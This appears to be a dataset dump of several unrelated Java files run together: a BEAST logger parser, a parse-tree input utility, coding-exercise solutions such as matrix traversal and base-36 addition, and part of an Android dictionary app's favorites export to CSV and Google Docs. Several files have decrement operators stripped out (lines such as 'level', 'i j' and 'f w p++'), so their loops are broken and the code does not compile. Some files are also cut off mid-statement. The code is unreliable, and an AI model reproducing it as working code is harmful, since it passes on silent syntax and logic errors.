answer
stringlengths
17
10.2M
package dr.inferencexml.loggers; import dr.app.beast.BeastVersion; import dr.inference.loggers.*; import dr.math.MathUtils; import dr.util.FileHelpers; import dr.util.Identifiable; import dr.util.Property; import dr.xml.*; import java.io.File; import java.io.PrintWriter; import java.util.Date; /** * @author Alexei Drummond * @author Andrew Rambaut */ public class LoggerParser extends AbstractXMLObjectParser { public static final String LOG = "log"; public static final String ECHO = "echo"; public static final String ECHO_EVERY = "echoEvery"; public static final String TITLE = "title"; public static final String FILE_NAME = FileHelpers.FILE_NAME; public static final String FORMAT = "format"; public static final String TAB = "tab"; public static final String HTML = "html"; public static final String PRETTY = "pretty"; public static final String LOG_EVERY = "logEvery"; public static final String ALLOW_OVERWRITE_LOG = "overwrite"; public static final String COLUMNS = "columns"; public static final String COLUMN = "column"; public static final String LABEL = "label"; public static final String SIGNIFICANT_FIGURES = "sf"; public static final String DECIMAL_PLACES = "dp"; public static final String WIDTH = "width"; public String getParserName() { return LOG; } /** * @return an object based on the XML element it was passed. */ public Object parseXMLObject(XMLObject xo) throws XMLParseException { // You must say how often you want to log final int logEvery = xo.getIntegerAttribute(LOG_EVERY); String fileName = null; if (xo.hasAttribute(FILE_NAME)) { fileName = xo.getStringAttribute(FILE_NAME); } boolean allowOverwrite = false; if (xo.hasAttribute(ALLOW_OVERWRITE_LOG)) { allowOverwrite = xo.getBooleanAttribute(ALLOW_OVERWRITE_LOG); } // override with a runtime set System Property if (System.getProperty("allow.overwrite") != null) { allowOverwrite = Boolean.parseBoolean(System.getProperty("allow.overwrite", "false")); } if (fileName!= null && (!allowOverwrite)) { File f = new File(fileName); if (f.exists()) { throw new XMLParseException("\nThe log file " + fileName + " already exists in the working directory." + "\nYou cannot overwrite it, unless adding an attribute " + ALLOW_OVERWRITE_LOG + "=\"true\" in " + LOG + " element in xml.\nFor example: <" + LOG + " ... fileName=\"" + fileName + "\" " + ALLOW_OVERWRITE_LOG + "=\"true\">"); } } final PrintWriter pw = XMLParser.getFilePrintWriter(xo, getParserName()); final LogFormatter formatter = new TabDelimitedFormatter(pw); boolean performanceReport = false; if (!xo.hasAttribute(FILE_NAME)) { // is a screen log performanceReport = true; } // added a performance measurement delay to avoid the full evaluation period. final MCLogger logger = new MCLogger(fileName, formatter, logEvery, performanceReport, 10000); if (xo.hasAttribute(TITLE)) { logger.setTitle(xo.getStringAttribute(TITLE)); } else { final BeastVersion version = new BeastVersion(); final String title = "BEAST " + version.getVersionString() + ", " + version.getBuildString() + "\n" + "Generated " + (new Date()).toString() + " [seed=" + MathUtils.getSeed() + "]"; logger.setTitle(title); } for (int i = 0; i < xo.getChildCount(); i++) { final Object child = xo.getChild(i); if (child instanceof Columns) { logger.addColumns(((Columns) child).getColumns()); } else if (child instanceof Loggable) { logger.add((Loggable) child); } else if (child instanceof Identifiable) { logger.addColumn(new LogColumn.Default(((Identifiable) child).getId(), child)); } else if (child instanceof Property) { logger.addColumn(new LogColumn.Default(((Property) child).getAttributeName(), child)); } else { logger.addColumn(new LogColumn.Default(child.getClass().toString(), child)); } } return logger; } public static PrintWriter getLogFile(XMLObject xo, String parserName) throws XMLParseException { return XMLParser.getFilePrintWriter(xo, parserName); }
package edu.jhu.thrax.util.io; import java.util.ArrayList; import edu.jhu.thrax.util.exceptions.*; import edu.jhu.thrax.datatypes.Alignment; import edu.jhu.thrax.datatypes.ArrayAlignment; import edu.jhu.thrax.datatypes.AlignedSentencePair; /** * Methods for validating user input. These should be used everywher user * input is received. */ public class InputUtilities { /** * Returns an array of the leaves of a parse tree, reading left to right. * * @param parse a representation of a parse tree (Penn treebank style) * @return an array of String giving the labels of the tree's leaves * @throws MalformedParseException if the parse tree is not well-formed */ public static String [] parseYield(String parse) throws MalformedParseException { String trimmed = parse.trim(); if (trimmed.equals("")) return new String[0]; int level = 0; boolean expectNT = false; ArrayList<String> result = new ArrayList<String>(); String [] tokens = trimmed.replaceAll("\\(", " ( ").replaceAll("\\)", " ) ").trim().split("\\s+"); for (String t : tokens) { if ("(".equals(t)) { level++; expectNT = true; continue; } if (")".equals(t)) { if (level == 0) throw new MalformedParseException(parse); level } else if (!expectNT) result.add(t); expectNT = false; } if (level != 0) throw new MalformedParseException(parse); return result.toArray(new String[result.size()]); } /** * Returns the words (terminal symbols) represented by this input. If the * input is a plain string, returns whitespace-delimited tokens. If the * input is a parse tree, returns an array of its leaves. * * @param input an input string * @param parsed whether the string represent a parse tree or not * @return an array of the terminal symbols represented by this input * @throws MalformedParseException if the input is a malformed parse tree * and parsed is true */ public static String [] getWords(String input, boolean parsed) throws MalformedInputException { String trimmed = input.trim(); if (trimmed.equals("")) return new String[0]; if (parsed) return parseYield(trimmed); return trimmed.split("\\s+"); } public static AlignedSentencePair alignedSentencePair(String source, boolean sourceIsParsed, String target, boolean targetIsParsed, String al, boolean reverse) throws MalformedInputException { String [] sourceWords = getWords(source, sourceIsParsed); String [] targetWords = getWords(target, targetIsParsed); Alignment alignment = ArrayAlignment.fromString(al, reverse); if (reverse) return new AlignedSentencePair(targetWords, sourceWords, alignment); else return new AlignedSentencePair(sourceWords, targetWords, alignment); } }
package edu.petrov.gojavaonline.codegym; import java.util.*; class JoinCharacters { public int join(char[] input) { int output = 0; for (int i = input.length - 1, r = 1; i >= 0; i--, r *= 10) { output += Character.getNumericValue(input[i]) * r; } return output; } } class SumDigits { public int sum(int number) { int sum = 0; while (number != 0) { sum += number % 10; number /= 10; } return Math.abs(sum); } } class FirstOddNumber { public int find(int[] input) { for (int i = 0; i < input.length; i++) { if (input[i] % 2 != 0) { return i; } } return -1; } } class MatrixSnakeTraversal { public int[] print(int[][] input) { int length = 0; for (int i = 0; i < input.length; i++) { length += input[i].length; } int result[] = new int[length]; int p = 1; int i = 0; int k = 0; for (int j = 0; j < input[0].length; j++) { while (i >= 0 && i < input.length) { result[k++] = input[i][j]; i += p; } p = -p; i += p; } return result; } } class MatrixTraversal { public int[] print(int[][] input) { if (input == null || input.length == 0 || input[0].length == 0) return new int[0]; int n = input.length; int m = input[0].length; int[] output = new int[n * m]; if (m == 1) { output[0] = input[0][0]; return output; } int f = n - 1; int w = m - 1; int c = 0; int i = 0; int j = 0; int p = 0; while (c != n * m - 1) { if (c >= n * m - 1) break; while (j < w) { output[c++] = input[i][j]; j++; } while (i < f) { output[c++] = input[i][j]; i++; } while (j > p) { output[c++] = input[i][j]; j } f w p++; while (i > p) { output[c++] = input[i][j]; i } } if (c == n * m - 1) { output[c++] = input[i][j]; } for (int e : output) { System.out.print(e + " "); } return output; } } class FindMaxNumber { public int max(int[] input) { int max = Integer.MIN_VALUE; for (int i = 0; i < input.length; i++) { if (max < input[i]) { max = input[i]; } } return max; } } class AddNumberBase36 { public static String add(String a, String b) { a = a.toLowerCase(); b = b.toLowerCase(); String result = ""; int i = a.length() - 1; int j = b.length() - 1; int c = 0; while (i >= 0 || j >= 0 || c > 0) { byte ar = i >= 0 ? Byte.parseByte(String.valueOf(a.charAt(i)), 36) : 0; byte br = j >= 0 ? Byte.parseByte(String.valueOf(b.charAt(j)), 36) : 0; result = Integer.toString((ar + br + c) % 36, 36) + result; c = (ar + br + c) / 36; i j } return result; } } class AddBinary { String add(String a, String b) { StringBuilder sum = new StringBuilder(); int i = a.length() - 1; int j = b.length() - 1; int c = 0; while (i >= 0 || j >= 0 || c > 0) { int ai = i >= 0 ? (a.charAt(i) == '1' ? 1 : 0) : 0; int bj = j >= 0 ? (b.charAt(j) == '1' ? 1 : 0) : 0; int s = (ai + bj + c) % 2; sum.insert(0, s); c = (ai + bj + c) / 2; i j } return sum.toString(); } } class GnomeFood { public static int getRank(int[] objects, int elementIndex) { int rank = 0; for (int current = 0; current < objects.length; current++) { if (objects[elementIndex] < objects[current]) { rank++; } } return rank; } public static int[] find(int[] gnames, int[] portions) { int[] result = new int[gnames.length]; // result int[] granks = new int[gnames.length]; // gnome ranks int[] pranks = new int[gnames.length]; // portions ranks for (int i = 0; i < gnames.length; i++) { granks[i] = getRank(gnames, i); } for (int i = 0; i < portions.length; i++) { pranks[i] = getRank(portions, i); } for (int i = 0; i < granks.length; i++) { for (int j = 0; j < pranks.length; j++) { if (granks[i] == pranks[j]) { result[i] = j; break; } } } return result; } /* int[] gnames = new int[] { 5, 7, 6, 9, 4 }; int[] portions = new int[] { 8, 5, 6, 2, 3 }; int[] result = GnomeFood.find(gnames, portions); for (int e : result) System.out.println(e); */ } class UnixPath { public final static String test = "/home/../var/./lib//file.txt"; public String simplify(String input) { Deque<String> stringDeque = new LinkedList<>(); String[] path = input.split("/"); for (String current : path) { if (current.equals("..")) { if (!stringDeque.isEmpty()) { stringDeque.pop(); } } else if (current.equals("") || current.equals(".")) { // do nothing } else { stringDeque.push(current); } } StringBuilder result = new StringBuilder(); while (true) { if (!(result.length() > 1 && stringDeque.isEmpty())) { result.append("/"); } if (!stringDeque.isEmpty()) { result.append(stringDeque.removeLast()); } else { break; } } return result.toString(); } } class LongestStabilityPeriod { public int count(int[] gdp) { int maxStablePeriod = gdp.length > 1 ? 0 : gdp.length; int currentPeriod; for (int start = 0; start < gdp.length; start++) { int end = gdp.length; for (int i = start; i < end; i++) { for (int j = i + 1; j < end; j++) { if (Math.abs(gdp[i] - gdp[j]) > 1) { end = j; break; } } } currentPeriod = end - start; maxStablePeriod = Math.max(currentPeriod, maxStablePeriod); } return maxStablePeriod; } } class RectangleSquare { private int getArea(int x1, int y1, int x2, int y2) { return (x2 - x1) * (y2 - y1); } public int measure(int[] x, int[] h, int[] w) { Deque<Square> squares = new LinkedList<>(); for (int i = 0; i < x.length; i++) { squares.add(new Square(x[i], h[i], w[i])); } int sum = 0; List<Integer> X = new LinkedList<>(); List<Integer> Y = new LinkedList<>(); for (Square s : squares) { X.add(s.x1); X.add(s.x2); Y.add(s.y1); Y.add(s.y2); } for (int i = 0; i < X.size() - 1; i++) { if (X.get(i) == X.get(i + 1)) { X.remove(i); } } for (int i = 0; i < Y.size() - 1; i++) { if (Y.get(i) == Y.get(i + 1)) { Y.remove(i); } } Comparator ascending = new Comparator<Integer>() { @Override public int compare(Integer o1, Integer o2) { return o1 > o2 ? 1 : (o1 < o2 ? -1 : 0); } }; X.sort(ascending); Y.sort(ascending); for (int i = 0; i < Y.size() - 1; i++) { for (int j = 0; j < X.size() - 1; j++) { for (Square s : squares) { if (X.get(j) >= s.x1 && X.get(j + 1) <= s.x2 && Y.get(i) >= s.y1 && Y.get(i + 1) <= s.y2) { sum += getArea(X.get(j), Y.get(i), X.get(j + 1), Y.get(i + 1)); break; } } } } return sum; } class Square { public int x1; // lower left point public int y1; public int x2; // upper right point public int y2; public Square(int x, int h, int w) { this.x1 = x; this.y1 = 0; this.x2 = x + w; this.y2 = h; } @Override public String toString() { return "Square{" + "x1=" + x1 + ", y1=" + y1 + ", x2=" + x2 + ", y2=" + y2 + '}'; } } } class ReversePolishNotation { public int evaluate(String expression) { return (int) Math.round(calc(expression)); } public static Double calc(String input) { Stack<Double> numbers = new Stack<>(); for (String number : input.split(" ")) { Sign sign = Sign.find(number); if (sign != null) { calcSign(numbers, sign); } else { numbers.push(Double.parseDouble(number)); } } return numbers.pop(); } protected static Stack<Double> calcSign(Stack<Double> numbers, Sign sign) { numbers.push(sign.apply(numbers.pop(), numbers.pop())); return numbers; } public enum Sign { ADD("+") { public double apply(double num1, double num2) { return num2 + num1; } }, REMOVE("-") { public double apply(double num1, double num2) { return num2 - num1; } }, MULTIPLY("*") { public double apply(double num1, double num2) { return num2 * num1; } }, DIVIDE("/") { public double apply(double num1, double num2) { return num2 / num1; } }; private final String operatorText; private Sign(String operatorText) { this.operatorText = operatorText; } public abstract double apply(double x1, double x2); private static final Map<String, Sign> map; static { map = new HashMap<>(); for (Sign sign : Sign.values()) { map.put(sign.operatorText, sign); } } public static Sign find(String sign) { return map.get(sign); } } } class BinaryHeap2 { public BinaryTree tree = new BinaryTree(); class BinaryTreeNode { public BinaryTreeNode left = null; public BinaryTreeNode right = null; public int value; public BinaryTreeNode() { } public BinaryTreeNode(int value) { this.value = value; } public int minValue() { if (left == null) return value; else return left.minValue(); } private boolean remove(BinaryTreeNode parent, int value) { if (value < this.value) { if (left != null) return left.remove(this, value); else return false; } else if (value > this.value) { if (right != null) return right.remove(this, value); else return false; } else { if (left != null && right != null) { this.value = right.minValue(); right.remove(this, right.minValue()); } else if (parent.left == this) { parent.left = (left != null) ? left : right; } else if (parent.right == this) { parent.right = (left != null) ? left : right; } return true; } } } public class BinaryTree { private BinaryTreeNode root = null; public BinaryTree() { } private BinaryTreeNode createNode(int value) { BinaryTreeNode node = new BinaryTreeNode(); node.value = value; return node; } private BinaryTreeNode createNode() { return createNode(0); } private void insert(BinaryTreeNode node, int value) { if (node == null) { throw new NullPointerException("Argument 'node' must not be null!"); } else if (value > node.value) { if (node.right == null) { node.right = createNode(value); } else { insert(node.right, value); } } else if (value < node.value) { if (node.left == null) { node.left = createNode(value); } else { insert(node.left, value); } } else if (value == node.value) { throw new IllegalArgumentException("Argument '" + value + "' already exists in the tree!"); } } public void insert(int value) { if (root == null) { root = createNode(value); } else { insert(root, value); } } private BinaryTreeNode find(BinaryTreeNode node, int value) { if (node == null) { return null; } else if (value > node.value) { return find(node.right, value); } else if (value < node.value) { return find(node.left, value); } else if (value == node.value) { return node; } return null; } public BinaryTreeNode find(int value) { return find(root, value); } public int findMaximumValue(BinaryTreeNode node) { int max = node.value; if (node.left != null) { max = Math.max(max, findMaximumValue(node.left)); } if (node.right != null) { max = Math.max(max, findMaximumValue(node.right)); } return max; } public int findMaximumValue() { if (root == null) { return 0; } return findMaximumValue(root); } public boolean remove(int value) { if (root == null) return false; else { if (root.value == value) { BinaryTreeNode tmpRoot = new BinaryTreeNode(); tmpRoot.left = root; boolean result = root.remove(tmpRoot, value); root = tmpRoot.left; return result; } else { return root.remove(null, value); } } } public void print() { print(root, " ", true); } private void print(BinaryTreeNode node, String prefix, boolean isTail) { System.out.println(prefix + (isTail ? " " : " ") + (node != null ? node.value : "null")); if (node == null) return; print(node.right, prefix + (isTail ? " " : " "), false); print(node.left, prefix + (isTail ? " " : " "), true); } } public BinaryHeap2(int size) { } public void insert(int val) { tree.insert(val); } public int poll() { int maxValue = tree.findMaximumValue(); tree.remove(maxValue); return maxValue; } } class BinaryHeap { private TreeMap<Integer, Integer> map = new TreeMap<>(); public BinaryHeap(int size) { } public void insert(int val) { map.put(val, val); } public int poll() { if (map.size() > 0) { int max = map.lastKey(); map.remove(max); return max; } return 0; } } class Alphabet { public boolean check(String input) { if (input == null || input == "") { return false; } input = input.toLowerCase(); Set<String> alphabet = new HashSet<>(); for (int i = 0; i < input.length(); i++) { if (input.charAt(i) >= 'a' && input.charAt(i) <= 'z') { alphabet.add(Character.toString(input.charAt(i))); } } return alphabet.size() == 26; } } class ReverseBits { public int reverse(int input) { return Integer.reverse(input); } } public class Main { public static int setBit(int value, int n) { return value = value | (1 << n); } public static int unsetBit(int value, int n) { return value = value & ~(1 << n); } public static void main(String[] args) { System.out.println(new ReverseBits().reverse(2)); } }
package org.nick.wwwjdic.history; import java.io.File; import java.io.FileInputStream; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.io.Writer; import java.util.Date; import org.nick.wwwjdic.Analytics; import org.nick.wwwjdic.Constants; import org.nick.wwwjdic.DictionaryEntryDetail; import org.nick.wwwjdic.KanjiEntryDetail; import org.nick.wwwjdic.R; import org.nick.wwwjdic.WwwjdicApplication; import org.nick.wwwjdic.WwwjdicEntry; import org.nick.wwwjdic.history.FavoritesItem.FavoriteStatusChangedListener; import org.nick.wwwjdic.history.gdocs.DocsUrl; import org.nick.wwwjdic.history.gdocs.Namespace; import android.accounts.Account; import android.accounts.AccountManager; import android.app.AlertDialog; import android.app.Dialog; import android.app.ProgressDialog; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.SharedPreferences; import android.content.DialogInterface.OnClickListener; import android.content.res.Resources; import android.database.Cursor; import android.os.AsyncTask; import android.os.Build; import android.os.Bundle; import android.os.Environment; import android.preference.PreferenceManager; import android.text.format.DateFormat; import android.util.Log; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.Toast; import au.com.bytecode.opencsv.CSVReader; import au.com.bytecode.opencsv.CSVWriter; import com.google.api.client.apache.ApacheHttpTransport; import com.google.api.client.googleapis.GoogleHeaders; import com.google.api.client.googleapis.GoogleTransport; import com.google.api.client.http.HttpRequest; import com.google.api.client.http.HttpResponse; import com.google.api.client.http.HttpResponseException; import com.google.api.client.http.HttpTransport; import com.google.api.client.http.InputStreamContent; import com.google.api.client.xml.atom.AtomParser; public class Favorites extends HistoryBase implements FavoriteStatusChangedListener { private static final String TAG = Favorites.class.getSimpleName(); private static final String EXPORT_FILENAME = "wwwjdic/favorites.csv"; private static final String KANJI_CSV_EXPORT_FILENAME_BASE = "wwwjdic-favorites-kanji"; private static final String DICT_CSV_EXPORT_FILENAME_BASE = "wwwjdic-favorites-dict"; private static final String CSV_EXPORT_FILENAME_EXT = "csv"; // for google docs private static final String AUTH_TOKEN_TYPE = "writely"; private static final String GDATA_VERSION = "3"; private static final int REQUEST_AUTHENTICATE = 0; private static final String PREF_ACCOUNT_NAME_KEY = "pref_account_name"; private static final int ACCOUNTS_DIALOG_ID = 1; private static final int EXPORT_LOCAL_BACKUP_IDX = 0; private static final int EXPORT_LOCAL_EXPORT_IDX = 1; private static final int EXPORT_GDOCS_IDX = 2; private static final int EXPORT_ANKI_IDX = 3; private HttpTransport transport; private String authToken; private ProgressDialog progressDialog; public Favorites() { HttpTransport.setLowLevelHttpTransport(ApacheHttpTransport.INSTANCE); transport = GoogleTransport.create(); GoogleHeaders headers = (GoogleHeaders) transport.defaultHeaders; headers.setApplicationName(WwwjdicApplication.getUserAgentString()); headers.gdataVersion = GDATA_VERSION; AtomParser parser = new AtomParser(); parser.namespaceDictionary = Namespace.DICTIONARY; transport.addParser(parser); // for wire debugging // Logger.getLogger("com.google.api.client").setLevel(Level.ALL); } @Override protected Dialog onCreateDialog(int id) { switch (id) { case CONFIRM_DELETE_DIALOG_ID: return super.onCreateDialog(id); case ACCOUNTS_DIALOG_ID: final AccountManager manager = AccountManager.get(this); final Account[] accounts = manager.getAccountsByType("com.google"); final int size = accounts.length; AlertDialog.Builder builder = new AlertDialog.Builder(this); if (size == 0) { Toast t = Toast.makeText(this, R.string.no_google_accounts, Toast.LENGTH_LONG); t.show(); return null; } builder.setTitle(R.string.select_google_account); String[] names = new String[size]; for (int i = 0; i < size; i++) { names[i] = accounts[i].name; } builder.setItems(names, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { gotAccount(manager, accounts[which]); } }); return builder.create(); default: // do nothing } return null; } private void gotAccount(boolean tokenExpired) { SharedPreferences settings = PreferenceManager .getDefaultSharedPreferences(this); String accountName = settings.getString(PREF_ACCOUNT_NAME_KEY, null); if (accountName != null) { AccountManager manager = AccountManager.get(this); Account[] accounts = manager.getAccountsByType("com.google"); int size = accounts.length; for (int i = 0; i < size; i++) { Account account = accounts[i]; if (accountName.equals(account.name)) { if (tokenExpired) { manager.invalidateAuthToken("com.google", this.authToken); } gotAccount(manager, account); return; } } } showDialog(ACCOUNTS_DIALOG_ID); } private void gotAccount(final AccountManager manager, final Account account) { SharedPreferences settings = PreferenceManager .getDefaultSharedPreferences(this); SharedPreferences.Editor editor = settings.edit(); editor.putString(PREF_ACCOUNT_NAME_KEY, account.name); editor.commit(); new Thread() { @Override public void run() { try { final Bundle bundle = manager.getAuthToken(account, AUTH_TOKEN_TYPE, true, null, null).getResult(); runOnUiThread(new Runnable() { public void run() { try { if (bundle .containsKey(AccountManager.KEY_INTENT)) { Intent intent = bundle .getParcelable(AccountManager.KEY_INTENT); int flags = intent.getFlags(); flags &= ~Intent.FLAG_ACTIVITY_NEW_TASK; intent.setFlags(flags); startActivityForResult(intent, REQUEST_AUTHENTICATE); } else if (bundle .containsKey(AccountManager.KEY_AUTHTOKEN)) { authenticatedClientLogin(bundle .getString(AccountManager.KEY_AUTHTOKEN)); } } catch (Exception e) { handleException(e); } } }); } catch (Exception e) { handleException(e); } } }.start(); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); switch (requestCode) { case REQUEST_AUTHENTICATE: if (resultCode == RESULT_OK) { gotAccount(false); } else { showDialog(ACCOUNTS_DIALOG_ID); } break; } } private void authenticatedClientLogin(String authToken) { this.authToken = authToken; ((GoogleHeaders) transport.defaultHeaders).setGoogleLogin(authToken); authenticated(); } static class UploadData { String filename; String localFilename; String contentType; long contentLength; UploadData() { } } private UploadData uploadData; private class GDocsExportTask extends AsyncTask<Void, Object, Boolean> { private Throwable error; private boolean tokenExpired = false; GDocsExportTask() { } @Override protected void onPreExecute() { if (progressDialog != null && progressDialog.isShowing()) { progressDialog.dismiss(); } progressDialog = new ProgressDialog(Favorites.this); progressDialog.setProgressStyle(ProgressDialog.STYLE_SPINNER); progressDialog.setMessage(getString(R.string.uploading_to_gdocs)); progressDialog.setCancelable(true); progressDialog.setButton(ProgressDialog.BUTTON_NEUTRAL, getString(R.string.cancel), new OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { cancel(true); } }); progressDialog.show(); } @Override protected Boolean doInBackground(Void... params) { try { HttpRequest request = transport.buildPostRequest(); request.url = DocsUrl.forDefaultPrivateFull(); ((GoogleHeaders) request.headers) .setSlugFromFileName(uploadData.filename); InputStreamContent content = new InputStreamContent(); content.inputStream = new FileInputStream( uploadData.localFilename); content.type = uploadData.contentType; content.length = uploadData.contentLength; request.content = content; request.execute().ignore(); deleteTempFile(); Analytics.event("favoritesGDocsExport", Favorites.this); return true; } catch (HttpResponseException hre) { Log.d(TAG, "Error uploading to Google docs", hre); HttpResponse response = hre.response; int statusCode = response.statusCode; try { response.ignore(); Log.e(TAG, response.parseAsString()); } catch (IOException e) { Log.w(TAG, "error parsing response", e); } if (statusCode == 401 || statusCode == 403) { tokenExpired = true; } return false; } catch (IOException e) { error = e; Log.d(TAG, "Error uploading to Google docs", e); deleteTempFile(); return false; } } @Override protected void onCancelled() { super.onCancelled(); deleteTempFile(); } private void deleteTempFile() { Log.d(TAG, "Google docs upload cancelled, deleting temp files..."); File f = new File(uploadData.localFilename); boolean success = f.delete(); if (success) { Log.d(TAG, "successfully deleted " + f.getAbsolutePath()); } else { Log.d(TAG, "failed to delet " + f.getAbsolutePath()); } } @Override protected void onPostExecute(Boolean result) { if (progressDialog != null && progressDialog.isShowing()) { progressDialog.dismiss(); } if (tokenExpired) { gotAccount(true); return; } Resources r = getResources(); String template = result ? r .getString(R.string.gdocs_upload_success) : r .getString(R.string.gdocs_upload_failure); String message = result ? String.format(template, uploadData.filename) : String.format(template, error .getMessage()); Toast t = Toast .makeText(Favorites.this, message, Toast.LENGTH_LONG); uploadData = null; t.show(); } } private void authenticated() { if (uploadData != null && uploadData.filename != null) { GDocsExportTask task = new GDocsExportTask(); task.execute(new Void[] {}); } } private void handleException(Exception e) { Log.e(TAG, e.getMessage(), e); if (e instanceof HttpResponseException) { HttpResponse response = ((HttpResponseException) e).response; int statusCode = response.statusCode; try { response.ignore(); } catch (IOException e1) { Log.e(TAG, e.getMessage(), e1); } if (statusCode == 401 || statusCode == 403) { gotAccount(true); return; } try { Log.e(TAG, response.parseAsString()); } catch (IOException parseException) { Log.w(TAG, e.getMessage(), parseException); } } } protected void setupAdapter() { Cursor cursor = filterCursor(); startManagingCursor(cursor); FavoritesAdapter adapter = new FavoritesAdapter(this, cursor, this); setListAdapter(adapter); } @Override protected void deleteAll() { Cursor c = filterCursor(); db.beginTransaction(); try { while (c.moveToNext()) { int id = c.getInt(c.getColumnIndex("_id")); db.deleteFavorite(id); } db.setTransactionSuccessful(); } finally { db.endTransaction(); } refresh(); } @Override protected int getContentView() { return R.layout.favorites; } @Override protected void deleteCurrentItem() { Cursor c = getCursor(); int idx = c.getColumnIndex("_id"); int id = c.getInt(idx); db.deleteFavorite(id); refresh(); } @Override public void onStatusChanged(boolean isFavorite, WwwjdicEntry entry) { if (isFavorite) { db.addFavorite(entry); refresh(); } else { db.deleteFavorite(entry.getId()); } } @Override protected void lookupCurrentItem() { WwwjdicEntry entry = getCurrentEntry(); Intent intent = null; if (entry.isKanji()) { intent = new Intent(this, KanjiEntryDetail.class); intent.putExtra(Constants.KANJI_ENTRY_KEY, entry); intent.putExtra(Constants.IS_FAVORITE, true); } else { intent = new Intent(this, DictionaryEntryDetail.class); intent.putExtra(Constants.ENTRY_KEY, entry); intent.putExtra(Constants.IS_FAVORITE, true); } Analytics.event("lookupFromFavorites", this); startActivity(intent); } @Override protected void copyCurrentItem() { WwwjdicEntry entry = getCurrentEntry(); clipboardManager.setText(entry.getHeadword()); } private WwwjdicEntry getCurrentEntry() { Cursor c = getCursor(); WwwjdicEntry entry = HistoryDbHelper.createWwwjdicEntry(c); return entry; } @Override protected String getImportExportFilename() { File extStorage = Environment.getExternalStorageDirectory(); return extStorage.getAbsolutePath() + "/" + EXPORT_FILENAME; } @Override protected void exportItems() { String[] items = getResources().getStringArray( R.array.favorites_export_dialog_items); boolean singleType = selectedFilter != FILTER_ALL; final boolean isKanji = selectedFilter == FILTER_KANJI; ExportItemsAdapter adapter = new ExportItemsAdapter(this, items, singleType); AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(R.string.favorites_export_dialog_title); builder.setAdapter(adapter, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int item) { switch (item) { case EXPORT_LOCAL_BACKUP_IDX: Favorites.super.exportItems(); break; case EXPORT_LOCAL_EXPORT_IDX: exportLocalCsv(isKanji); break; case EXPORT_GDOCS_IDX: exportToGDocs(isKanji); break; case EXPORT_ANKI_IDX: throw new IllegalArgumentException("Not implemented"); default: // do noting } } }); AlertDialog dialog = builder.create(); dialog.show(); } private static class ExportItemsAdapter extends ArrayAdapter<String> { private boolean singleType; private boolean isPostEclair; ExportItemsAdapter(Context context, String[] items, boolean singleType) { super(context, android.R.layout.select_dialog_item, android.R.id.text1, items); this.singleType = singleType; final int sdkVersion = Integer.parseInt(Build.VERSION.SDK); this.isPostEclair = sdkVersion >= Build.VERSION_CODES.ECLAIR; } @Override public boolean areAllItemsEnabled() { return false; } @Override public boolean isEnabled(int idx) { switch (idx) { case EXPORT_LOCAL_BACKUP_IDX: return true; case EXPORT_LOCAL_EXPORT_IDX: return singleType; case EXPORT_GDOCS_IDX: return singleType && isPostEclair; default: return false; } } @Override public View getView(int position, View convertView, ViewGroup parent) { View result = super.getView(position, convertView, parent); result.setEnabled(isEnabled(position)); return result; } } private void exportLocalCsv(boolean isKanji) { try { File exportFile = new File(WwwjdicApplication.getWwwjdicDir(), getCsvExportFilename(isKanji)); Writer writer = new FileWriter(exportFile); exportToCsv(exportFile.getAbsolutePath(), writer, true); Analytics.event("favoritesLocalCsvExport", this); } catch (IOException e) { String message = getResources().getString(R.string.export_error); Toast.makeText(Favorites.this, String.format(message, e.getMessage()), Toast.LENGTH_SHORT) .show(); } } private void exportToCsv(String exportFile, Writer w, boolean showMessages) { CSVWriter writer = null; Cursor c = null; try { c = filterCursor(); writer = new CSVWriter(w); boolean isKanji = selectedFilter == FILTER_KANJI; Resources r = getResources(); String[] header = isKanji ? r .getStringArray(R.array.kanji_csv_headers) : r .getStringArray(R.array.dict_csv_headers); writer.writeNext(header); int count = 0; while (c.moveToNext()) { WwwjdicEntry entry = HistoryDbHelper.createWwwjdicEntry(c); String[] entryStr = FavoritesEntryParser .toParsedStringArray(entry); writer.writeNext(entryStr); count++; } writer.flush(); writer.close(); if (showMessages) { String message = getResources().getString( R.string.favorites_exported); Toast t = Toast.makeText(Favorites.this, String.format(message, exportFile, count), Toast.LENGTH_SHORT); t.show(); } } catch (IOException e) { Log.d(TAG, "error exporting to CSV", e); if (showMessages) { String message = getResources() .getString(R.string.export_error); Toast.makeText(Favorites.this, String.format(message, e.getMessage()), Toast.LENGTH_SHORT).show(); } } finally { if (writer != null) { try { writer.close(); } catch (IOException e) { Log.w(TAG, "error closing CSV writer", e); } } if (c != null) { c.close(); } } } private String getCsvExportFilename(boolean isKanji) { String dateStr = DateFormat.format("yyyyMMdd-kkmmss", new Date()) .toString(); return String.format("%s-%s.%s", isKanji ? KANJI_CSV_EXPORT_FILENAME_BASE : DICT_CSV_EXPORT_FILENAME_BASE, dateStr, CSV_EXPORT_FILENAME_EXT); } private void exportToGDocs(boolean isKanji) { try { Log.d(TAG, "exporting to Google docs..."); String filename = getCsvExportFilename(isKanji); File f = File.createTempFile("favorites-gdocs", ".csv", WwwjdicApplication.getWwwjdicDir()); f.deleteOnExit(); Log.d(TAG, "temp file: " + f.getAbsolutePath()); Log.d(TAG, "document filename: " + filename); Writer writer = new FileWriter(f); exportToCsv(f.getAbsolutePath(), writer, false); uploadData = new UploadData(); uploadData.contentLength = f.length(); uploadData.contentType = "text/csv"; uploadData.filename = filename; uploadData.localFilename = f.getAbsolutePath(); gotAccount(false); } catch (IOException e) { String message = getResources().getString(R.string.export_error); Toast.makeText(Favorites.this, String.format(message, e.getMessage()), Toast.LENGTH_SHORT) .show(); } } @Override protected void doExport(final String exportFile) { CSVWriter writer = null; Cursor c = null; try { c = filterCursor(); writer = new CSVWriter(new FileWriter(exportFile)); int count = 0; while (c.moveToNext()) { WwwjdicEntry entry = HistoryDbHelper.createWwwjdicEntry(c); long time = c.getLong(c.getColumnIndex("time")); String[] entryStr = FavoritesEntryParser.toStringArray(entry, time); writer.writeNext(entryStr); count++; } writer.flush(); writer.close(); Analytics.event("favoritesExport", this); String message = getResources().getString( R.string.favorites_exported); Toast t = Toast.makeText(Favorites.this, String.format(message, exportFile, count), 